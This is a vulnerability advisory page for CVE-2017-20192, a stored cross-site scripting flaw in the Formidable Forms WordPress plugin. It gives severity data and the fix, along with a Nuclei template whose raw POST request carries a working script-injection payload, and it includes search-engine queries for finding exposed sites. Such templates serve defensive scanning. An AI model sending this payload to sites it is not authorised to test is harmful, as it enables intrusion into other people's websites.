Formidable Forms < 2.05.02 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

Formidable Form Builder for WordPress versions before 2.05.03 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in form parameters like 'after_html', letting unauthenticated attackers inject and execute arbitrary scripts in victims' browsers

Impact

Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.

Fix

Update to version 2.05.03 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(header, "text/html") and contains_all(body, "<img src=x onerror=alert(document.domain)")

Run it with nuclei: nuclei -id CVE-2017-20192 -u <target>

The full check

id: CVE-2017-20192

info:
  name: Formidable Forms < 2.05.02 - Cross-Site Scripting
  author: 0xanis
  severity: medium
  description: |
    Formidable Form Builder for WordPress versions before 2.05.03 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in form parameters like 'after_html', letting unauthenticated attackers inject and execute arbitrary scripts in victims' browsers
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.05.03 or later.
  reference:
    - https://klikki.fi/formidable-forms-vulnerabilities/
    - https://wordpress.org/plugins/formidable/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-20192
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-20192
    epss-score: 0.01087
    epss-percentile: 0.65586
    cwe-id: CWE-79
    cpe: cpe:2.3:a:strategy11:formidable_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="formidable" && body="wp-content/plugins"
    google-query: inurl:"wp-content/plugins/formidable"
  tags: cve,cve2017,wordpress,wp-plugin,formidable,xss,reflected,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=frm_forms_preview&before_html=<img src=x on[entry_key]error=alert(document.domain) />

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from